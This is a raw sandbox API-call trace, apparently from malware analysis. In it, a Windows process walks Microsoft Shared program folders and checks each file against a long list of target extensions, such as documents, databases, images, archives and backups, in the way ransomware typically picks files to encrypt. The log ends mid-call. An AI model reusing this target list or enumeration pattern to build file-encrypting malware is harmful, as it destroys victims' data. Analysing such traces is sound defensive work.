[0214.469] lstrlenW (lpString=".xlsx") returned 5 [0214.469] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0214.470] lstrlenW (lpString=".xlt") returned 4 [0214.470] lstrcmpiW (lpString1=".xlt", lpString2=".mui") returned 1 [0214.470] lstrlenW (lpString=".xltm") returned 5 [0214.470] lstrcmpiW (lpString1=".xltm", lpString2="l.mui") returned -1 [0214.470] lstrlenW (lpString=".xltx") returned 5 [0214.470] lstrcmpiW (lpString1=".xltx", lpString2="l.mui") returned -1 [0214.470] lstrlenW (lpString=".xlw") returned 4 [0214.470] lstrcmpiW (lpString1=".xlw", lpString2=".mui") returned 1 [0214.471] lstrlenW (lpString=".xml") returned 4 [0214.471] lstrcmpiW (lpString1=".xml", lpString2=".mui") returned 1 [0214.471] lstrlenW (lpString=".xps") returned 4 [0214.471] lstrcmpiW (lpString1=".xps", lpString2=".mui") returned 1 [0214.471] lstrlenW (lpString=".xsd") returned 4 [0214.471] lstrcmpiW (lpString1=".xsd", lpString2=".mui") returned 1 [0214.472] lstrlenW (lpString=".xsf") returned 4 [0214.472] lstrcmpiW (lpString1=".xsf", lpString2=".mui") returned 1 [0214.472] lstrlenW (lpString=".xsl") returned 4 [0214.472] lstrcmpiW (lpString1=".xsl", lpString2=".mui") returned 1 [0214.472] lstrlenW (lpString=".xslt") returned 5 [0214.472] lstrcmpiW (lpString1=".xslt", lpString2="l.mui") returned -1 [0214.472] lstrlenW (lpString=".xsn") returned 4 [0214.472] lstrcmpiW (lpString1=".xsn", lpString2=".mui") returned 1 [0214.472] lstrlenW (lpString=".xtp") returned 4 [0214.472] lstrcmpiW (lpString1=".xtp", lpString2=".mui") returned 1 [0214.472] lstrlenW (lpString=".xtp2") returned 5 [0214.472] lstrcmpiW (lpString1=".xtp2", lpString2="l.mui") returned -1 [0214.473] lstrlenW (lpString=".xyze") returned 5 [0214.473] lstrcmpiW (lpString1=".xyze", lpString2="l.mui") returned -1 [0214.473] lstrlenW (lpString=".xz") returned 3 [0214.473] lstrcmpiW (lpString1=".xz", lpString2="mui") returned -1 [0214.473] lstrlenW (lpString=".zip") returned 4 [0214.473] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0214.473] FindNextFileW (in: hFindFile=0x624140, lpFindFileData=0x37af094 | out: lpFindFileData=0x37af094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x37af1f4, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.473] FindClose (in: hFindFile=0x624140 | out: hFindFile=0x624140) returned 1 [0214.474] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x4319820 | out: hHeap=0x590000) returned 1 [0214.474] FindNextFileW (in: hFindFile=0x6241c0, lpFindFileData=0x37af310 | out: lpFindFileData=0x37af310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0214.474] lstrlenW (lpString="TabIpsps.dll") returned 12 [0214.474] lstrlenW (lpString=".1cd") returned 4 [0214.746] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0214.746] lstrlenW (lpString=".3ds") returned 4 [0214.746] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0214.747] lstrlenW (lpString=".3fr") returned 4 [0214.747] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0214.747] lstrlenW (lpString=".3g2") returned 4 [0214.747] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0214.747] lstrlenW (lpString=".3gp") returned 4 [0214.747] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0214.747] lstrlenW (lpString=".7z") returned 3 [0214.747] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0214.747] lstrlenW (lpString=".accda") returned 6 [0214.747] lstrcmpiW (lpString1=".accda", lpString2="ps.dll") returned -1 [0214.747] lstrlenW (lpString=".accdb") returned 6 [0214.747] lstrcmpiW (lpString1=".accdb", lpString2="ps.dll") returned -1 [0214.748] lstrlenW (lpString=".accdc") returned 6 [0214.748] lstrcmpiW (lpString1=".accdc", lpString2="ps.dll") returned -1 [0214.748] lstrlenW (lpString=".accde") returned 6 [0214.748] lstrcmpiW (lpString1=".accde", lpString2="ps.dll") returned -1 [0214.749] lstrlenW (lpString=".accdt") returned 6 [0214.749] lstrcmpiW (lpString1=".accdt", lpString2="ps.dll") returned -1 [0214.749] lstrlenW (lpString=".accdw") returned 6 [0214.749] lstrcmpiW (lpString1=".accdw", lpString2="ps.dll") returned -1 [0214.749] lstrlenW (lpString=".adb") returned 4 [0214.749] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0214.749] lstrlenW (lpString=".adp") returned 4 [0214.749] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0214.749] lstrlenW (lpString=".ai") returned 3 [0214.749] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0214.749] lstrlenW (lpString=".ai3") returned 4 [0214.749] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0214.750] lstrlenW (lpString=".ai4") returned 4 [0214.750] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0214.750] lstrlenW (lpString=".ai5") returned 4 [0214.750] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0214.750] lstrlenW (lpString=".ai6") returned 4 [0214.750] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0214.750] lstrlenW (lpString=".ai7") returned 4 [0214.750] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0214.750] lstrlenW (lpString=".ai8") returned 4 [0214.750] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0214.750] lstrlenW (lpString=".anim") returned 5 [0214.750] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1 [0214.750] lstrlenW (lpString=".arw") returned 4 [0214.751] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0214.751] lstrlenW (lpString=".as") returned 3 [0214.751] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0214.751] lstrlenW (lpString=".asa") returned 4 [0214.751] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0214.751] lstrlenW (lpString=".asc") returned 4 [0214.751] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0214.751] lstrlenW (lpString=".ascx") returned 5 [0214.751] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1 [0214.751] lstrlenW (lpString=".asm") returned 4 [0214.751] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0214.752] lstrlenW (lpString=".asmx") returned 5 [0214.752] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1 [0214.752] lstrlenW (lpString=".asp") returned 4 [0214.753] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0214.753] lstrlenW (lpString=".aspx") returned 5 [0214.753] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1 [0214.753] lstrlenW (lpString=".asr") returned 4 [0214.753] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0214.753] lstrlenW (lpString=".asx") returned 4 [0214.753] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0214.753] lstrlenW (lpString=".avi") returned 4 [0214.753] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0214.753] lstrlenW (lpString=".avs") returned 4 [0214.753] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0214.753] lstrlenW (lpString=".backup") returned 7 [0214.753] lstrcmpiW (lpString1=".backup", lpString2="sps.dll") returned -1 [0214.754] lstrlenW (lpString=".bak") returned 4 [0214.754] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0214.754] lstrlenW (lpString=".bay") returned 4 [0214.754] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0214.754] lstrlenW (lpString=".bd") returned 3 [0214.754] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0214.754] lstrlenW (lpString=".bin") returned 4 [0214.754] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0214.754] lstrlenW (lpString=".bmp") returned 4 [0214.754] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0214.754] lstrlenW (lpString=".bz2") returned 4 [0214.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0214.755] lstrlenW (lpString=".c") returned 2 [0214.755] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0214.755] lstrlenW (lpString=".cdr") returned 4 [0214.756] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0214.756] lstrlenW (lpString=".cer") returned 4 [0214.757] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0214.757] lstrlenW (lpString=".cf") returned 3 [0214.757] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0214.757] lstrlenW (lpString=".cfc") returned 4 [0214.757] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0214.757] lstrlenW (lpString=".cfm") returned 4 [0214.757] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0214.757] lstrlenW (lpString=".cfml") returned 5 [0214.757] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1 [0214.757] lstrlenW (lpString=".cfu") returned 4 [0214.757] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0214.757] lstrlenW (lpString=".chm") returned 4 [0214.757] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0214.757] lstrlenW (lpString=".cin") returned 4 [0214.757] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0214.758] lstrlenW (lpString=".class") returned 6 [0214.758] lstrcmpiW (lpString1=".class", lpString2="ps.dll") returned -1 [0214.758] lstrlenW (lpString=".clx") returned 4 [0214.758] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0214.758] lstrlenW (lpString=".config") returned 7 [0214.758] lstrcmpiW (lpString1=".config", lpString2="sps.dll") returned -1 [0214.758] lstrlenW (lpString=".cpp") returned 4 [0214.758] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0214.758] lstrlenW (lpString=".cr2") returned 4 [0214.758] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0214.758] lstrlenW (lpString=".crt") returned 4 [0214.758] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0214.758] lstrlenW (lpString=".crw") returned 4 [0214.758] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0214.759] lstrlenW (lpString=".cs") returned 3 [0214.759] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0214.759] lstrlenW (lpString=".css") returned 4 [0214.759] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0214.759] lstrlenW (lpString=".csv") returned 4 [0214.759] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0214.759] lstrlenW (lpString=".cub") returned 4 [0214.759] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0214.759] lstrlenW (lpString=".dae") returned 4 [0214.759] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0214.759] lstrlenW (lpString=".dat") returned 4 [0214.759] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0214.760] lstrlenW (lpString=".db") returned 3 [0214.760] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0214.760] lstrlenW (lpString=".dbf") returned 4 [0214.760] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0223.938] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42d6228 | out: hHeap=0x590000) returned 1 [0223.938] FindNextFileW (in: hFindFile=0x623ec0, lpFindFileData=0x37af58c | out: lpFindFileData=0x37af58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0223.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x37af310 | out: lpFindFileData=0x37af310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6241c0 [0223.941] FindNextFileW (in: hFindFile=0x6241c0, lpFindFileData=0x37af310 | out: lpFindFileData=0x37af310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.942] FindNextFileW (in: hFindFile=0x6241c0, lpFindFileData=0x37af310 | out: lpFindFileData=0x37af310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0223.942] FindClose (in: hFindFile=0x6241c0 | out: hFindFile=0x6241c0) returned 1 [0223.943] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42d6228 | out: hHeap=0x590000) returned 1 [0223.943] FindNextFileW (in: hFindFile=0x623ec0, lpFindFileData=0x37af58c | out: lpFindFileData=0x37af58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0223.943] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x37af310 | out: lpFindFileData=0x37af310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6241c0 [0223.946] FindNextFileW (in: hFindFile=0x6241c0, lpFindFileData=0x37af310 | out: lpFindFileData=0x37af310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.946] FindNextFileW (in: hFindFile=0x6241c0, lpFindFileData=0x37af310 | out: lpFindFileData=0x37af310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2608de, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2608de, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xcdfff30e, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0238.184] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0238.185] lstrcmpiW (lpString1=".3ds", lpString2=".VRD") returned -1 [0238.185] lstrcmpiW (lpString1=".3fr", lpString2=".VRD") returned -1 [0238.185] lstrcmpiW (lpString1=".3g2", lpString2=".VRD") returned -1 [0238.186] lstrcmpiW (lpString1=".3gp", lpString2=".VRD") returned -1 [0238.186] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0238.186] lstrcmpiW (lpString1=".accda", lpString2="HD.VRD") returned -1 [0238.186] lstrcmpiW (lpString1=".accdb", lpString2="HD.VRD") returned -1 [0238.186] lstrcmpiW (lpString1=".accdc", lpString2="HD.VRD") returned -1 [0238.186] lstrcmpiW (lpString1=".accde", lpString2="HD.VRD") returned -1 [0238.186] lstrcmpiW (lpString1=".accdt", lpString2="HD.VRD") returned -1 [0238.186] lstrcmpiW (lpString1=".accdw", lpString2="HD.VRD") returned -1 [0238.187] lstrcmpiW (lpString1=".adb", lpString2=".VRD") returned -1 [0238.187] lstrcmpiW (lpString1=".adp", lpString2=".VRD") returned -1 [0238.187] lstrcmpiW (lpString1=".ai", lpString2="VRD") returned -1 [0238.187] lstrcmpiW (lpString1=".ai3", lpString2=".VRD") returned -1 [0238.187] lstrcmpiW (lpString1=".ai4", lpString2=".VRD") returned -1 [0238.187] lstrcmpiW (lpString1=".ai5", lpString2=".VRD") returned -1 [0238.187] lstrcmpiW (lpString1=".ai6", lpString2=".VRD") returned -1 [0238.187] lstrcmpiW (lpString1=".ai7", lpString2=".VRD") returned -1 [0238.188] lstrcmpiW (lpString1=".ai8", lpString2=".VRD") returned -1 [0238.188] lstrcmpiW (lpString1=".anim", lpString2="D.VRD") returned -1 [0238.188] lstrcmpiW (lpString1=".arw", lpString2=".VRD") returned -1 [0238.188] lstrcmpiW (lpString1=".as", lpString2="VRD") returned -1 [0238.188] lstrcmpiW (lpString1=".asa", lpString2=".VRD") returned -1 [0238.188] lstrcmpiW (lpString1=".asc", lpString2=".VRD") returned -1 [0238.188] lstrcmpiW (lpString1=".ascx", lpString2="D.VRD") returned -1 [0238.188] lstrcmpiW (lpString1=".asm", lpString2=".VRD") returned -1 [0238.189] lstrcmpiW (lpString1=".asmx", lpString2="D.VRD") returned -1 [0238.189] lstrcmpiW (lpString1=".asp", lpString2=".VRD") returned -1 [0238.189] lstrcmpiW (lpString1=".aspx", lpString2="D.VRD") returned -1 [0238.189] lstrcmpiW (lpString1=".asr", lpString2=".VRD") returned -1 [0238.189] lstrcmpiW (lpString1=".asx", lpString2=".VRD") returned -1 [0238.189] lstrcmpiW (lpString1=".avi", lpString2=".VRD") returned -1 [0238.190] lstrcmpiW (lpString1=".avs", lpString2=".VRD") returned -1 [0238.190] lstrcmpiW (lpString1=".backup", lpString2="CHD.VRD") returned -1 [0238.190] lstrcmpiW (lpString1=".bak", lpString2=".VRD") returned -1 [0238.190] lstrcmpiW (lpString1=".bay", lpString2=".VRD") returned -1 [0238.191] lstrcmpiW (lpString1=".bd", lpString2="VRD") returned -1 [0238.191] lstrcmpiW (lpString1=".bin", lpString2=".VRD") returned -1 [0238.191] lstrcmpiW (lpString1=".bmp", lpString2=".VRD") returned -1 [0238.191] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0238.191] lstrcmpiW (lpString1=".c", lpString2="RD") returned -1 [0238.191] lstrcmpiW (lpString1=".cdr", lpString2=".VRD") returned -1 [0238.191] lstrcmpiW (lpString1=".cer", lpString2=".VRD") returned -1 [0238.191] lstrcmpiW (lpString1=".cf", lpString2="VRD") returned -1 [0238.192] lstrcmpiW (lpString1=".cfc", lpString2=".VRD") returned -1 [0238.192] lstrcmpiW (lpString1=".cfm", lpString2=".VRD") returned -1 [0238.192] lstrcmpiW (lpString1=".cfml", lpString2="D.VRD") returned -1 [0238.192] lstrcmpiW (lpString1=".cfu", lpString2=".VRD") returned -1 [0238.192] lstrcmpiW (lpString1=".chm", lpString2=".VRD") returned -1 [0238.192] lstrcmpiW (lpString1=".cin", lpString2=".VRD") returned -1 [0238.192] lstrcmpiW (lpString1=".class", lpString2="HD.VRD") returned -1 [0238.193] lstrcmpiW (lpString1=".clx", lpString2=".VRD") returned -1 [0238.193] lstrcmpiW (lpString1=".config", lpString2="CHD.VRD") returned -1 [0238.193] lstrcmpiW (lpString1=".cpp", lpString2=".VRD") returned -1 [0238.193] lstrcmpiW (lpString1=".cr2", lpString2=".VRD") returned -1 [0238.193] lstrcmpiW (lpString1=".crt", lpString2=".VRD") returned -1 [0238.193] lstrcmpiW (lpString1=".crw", lpString2=".VRD") returned -1 [0238.193] lstrcmpiW (lpString1=".cs", lpString2="VRD") returned -1 [0238.194] lstrcmpiW (lpString1=".css", lpString2=".VRD") returned -1 [0238.194] lstrcmpiW (lpString1=".csv", lpString2=".VRD") returned -1 [0238.194] lstrcmpiW (lpString1=".cub", lpString2=".VRD") returned -1 [0238.194] lstrcmpiW (lpString1=".dae", lpString2=".VRD") returned -1 [0238.194] lstrcmpiW (lpString1=".dat", lpString2=".VRD") returned -1 [0238.194] lstrcmpiW (lpString1=".db", lpString2="VRD") returned -1 [0238.194] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0238.195] lstrcmpiW (lpString1=".dbx", lpString2=".VRD") returned -1 [0238.195] lstrcmpiW (lpString1=".dc3", lpString2=".VRD") returned -1 [0238.195] lstrcmpiW (lpString1=".dcm", lpString2=".VRD") returned -1 [0238.195] lstrcmpiW (lpString1=".dcr", lpString2=".VRD") returned -1 [0238.195] lstrcmpiW (lpString1=".der", lpString2=".VRD") returned -1 [0238.195] lstrcmpiW (lpString1=".dib", lpString2=".VRD") returned -1 [0238.195] lstrcmpiW (lpString1=".dic", lpString2=".VRD") returned -1 [0238.195] lstrcmpiW (lpString1=".dif", lpString2=".VRD") returned -1 [0238.196] lstrcmpiW (lpString1=".divx", lpString2="D.VRD") returned -1 [0238.196] lstrcmpiW (lpString1=".djvu", lpString2="D.VRD") returned -1 [0238.196] lstrcmpiW (lpString1=".dng", lpString2=".VRD") returned -1 [0238.196] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0238.196] lstrcmpiW (lpString1=".docm", lpString2="D.VRD") returned -1 [0238.196] lstrcmpiW (lpString1=".docx", lpString2="D.VRD") returned -1 [0238.196] lstrcmpiW (lpString1=".dot", lpString2=".VRD") returned -1 [0238.196] lstrcmpiW (lpString1=".dotm", lpString2="D.VRD") returned -1 [0238.196] lstrcmpiW (lpString1=".dotx", lpString2="D.VRD") returned -1 [0238.197] lstrcmpiW (lpString1=".dpx", lpString2=".VRD") returned -1 [0238.197] lstrcmpiW (lpString1=".dqy", lpString2=".VRD") returned -1 [0238.197] lstrcmpiW (lpString1=".dsn", lpString2=".VRD") returned -1 [0238.197] lstrcmpiW (lpString1=".dt", lpString2="VRD") returned -1 [0238.197] lstrcmpiW (lpString1=".dtd", lpString2=".VRD") returned -1 [0238.197] lstrcmpiW (lpString1=".dwg", lpString2=".VRD") returned -1 [0238.197] lstrcmpiW (lpString1=".dwt", lpString2=".VRD") returned -1 [0238.198] lstrcmpiW (lpString1=".dx", lpString2="VRD") returned -1 [0238.198] lstrcmpiW (lpString1=".dxf", lpString2=".VRD") returned -1 [0238.198] lstrcmpiW (lpString1=".edml", lpString2="D.VRD") returned -1 [0238.198] lstrcmpiW (lpString1=".efd", lpString2=".VRD") returned -1 [0238.198] lstrcmpiW (lpString1=".elf", lpString2=".VRD") returned -1 [0238.198] lstrcmpiW (lpString1=".emf", lpString2=".VRD") returned -1 [0238.198] lstrcmpiW (lpString1=".emz", lpString2=".VRD") returned -1 [0238.198] lstrcmpiW (lpString1=".epf", lpString2=".VRD") returned -1 [0238.199] lstrcmpiW (lpString1=".eps", lpString2=".VRD") returned -1 [0238.199] lstrcmpiW (lpString1=".epsf", lpString2="D.VRD") returned -1 [0238.199] lstrcmpiW (lpString1=".epsp", lpString2="D.VRD") returned -1 [0238.199] lstrcmpiW (lpString1=".erf", lpString2=".VRD") returned -1 [0238.199] lstrcmpiW (lpString1=".exr", lpString2=".VRD") returned -1 [0238.199] lstrcmpiW (lpString1=".f4v", lpString2=".VRD") returned -1 [0238.199] lstrcmpiW (lpString1=".fido", lpString2="D.VRD") returned -1 [0238.199] lstrcmpiW (lpString1=".flm", lpString2=".VRD") returned -1 [0238.200] lstrcmpiW (lpString1=".flv", lpString2=".VRD") returned -1 [0238.200] lstrcmpiW (lpString1=".frm", lpString2=".VRD") returned -1 [0238.200] lstrcmpiW (lpString1=".fxg", lpString2=".VRD") returned -1 [0238.200] lstrcmpiW (lpString1=".geo", lpString2=".VRD") returned -1 [0238.200] lstrcmpiW (lpString1=".gif", lpString2=".VRD") returned -1 [0238.200] lstrcmpiW (lpString1=".grs", lpString2=".VRD") returned -1 [0238.200] lstrcmpiW (lpString1=".gz", lpString2="VRD") returned -1 [0238.200] lstrcmpiW (lpString1=".h", lpString2="RD") returned -1 [0238.201] lstrcmpiW (lpString1=".hdr", lpString2=".VRD") returned -1 [0238.201] lstrcmpiW (lpString1=".hpp", lpString2=".VRD") returned -1 [0238.201] lstrcmpiW (lpString1=".hta", lpString2=".VRD") returned -1 [0238.201] lstrcmpiW (lpString1=".htc", lpString2=".VRD") returned -1 [0238.201] lstrcmpiW (lpString1=".htm", lpString2=".VRD") returned -1 [0238.201] lstrcmpiW (lpString1=".html", lpString2="D.VRD") returned -1 [0238.201] lstrcmpiW (lpString1=".icb", lpString2=".VRD") returned -1 [0238.201] lstrcmpiW (lpString1=".ics", lpString2=".VRD") returned -1 [0238.202] lstrcmpiW (lpString1=".iff", lpString2=".VRD") returned -1 [0238.202] lstrcmpiW (lpString1=".inc", lpString2=".VRD") returned -1 [0238.202] lstrcmpiW (lpString1=".indd", lpString2="D.VRD") returned -1 [0238.202] lstrcmpiW (lpString1=".ini", lpString2=".VRD") returned -1 [0238.202] lstrcmpiW (lpString1=".iqy", lpString2=".VRD") returned -1 [0238.202] lstrcmpiW (lpString1=".j2c", lpString2=".VRD") returned -1 [0238.202] lstrcmpiW (lpString1=".j2k", lpString2=".VRD") returned -1 [0238.202] lstrcmpiW (lpString1=".java", lpString2="D.VRD") returned -1 [0238.203] lstrcmpiW (lpString1=".jp2", lpString2=".VRD") returned -1 [0238.203] lstrcmpiW (lpString1=".jpc", lpString2=".VRD") returned -1 [0238.203] lstrcmpiW (lpString1=".jpe", lpString2=".VRD") returned -1 [0238.203] lstrcmpiW (lpString1=".jpeg", lpString2="D.VRD") returned -1 [0238.203] lstrcmpiW (lpString1=".jpf", lpString2=".VRD") returned -1 [0238.203] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0238.203] lstrcmpiW (lpString1=".jpx", lpString2=".VRD") returned -1 [0238.204] lstrcmpiW (lpString1=".js", lpString2="VRD") returned -1 [0238.204] lstrcmpiW (lpString1=".jsf", lpString2=".VRD") returned -1 [0238.204] lstrcmpiW (lpString1=".json", lpString2="D.VRD") returned -1 [0238.204] lstrcmpiW (lpString1=".jsp", lpString2=".VRD") returned -1 [0238.204] lstrcmpiW (lpString1=".kdc", lpString2=".VRD") returned -1 [0238.204] lstrcmpiW (lpString1=".kmz", lpString2=".VRD") returned -1 [0238.204] lstrcmpiW (lpString1=".kwm", lpString2=".VRD") returned -1 [0238.204] lstrcmpiW (lpString1=".lasso", lpString2="HD.VRD") returned -1 [0238.204] lstrcmpiW (lpString1=".lbi", lpString2=".VRD") returned -1 [0238.205] lstrcmpiW (lpString1=".lgf", lpString2=".VRD") returned -1 [0238.205] lstrcmpiW (lpString1=".lgp", lpString2=".VRD") returned -1 [0238.205] lstrcmpiW (lpString1=".log", lpString2=".VRD") returned -1 [0238.205] lstrcmpiW (lpString1=".m1v", lpString2=".VRD") returned -1 [0238.205] lstrcmpiW (lpString1=".m4a", lpString2=".VRD") returned -1 [0238.205] lstrcmpiW (lpString1=".m4v", 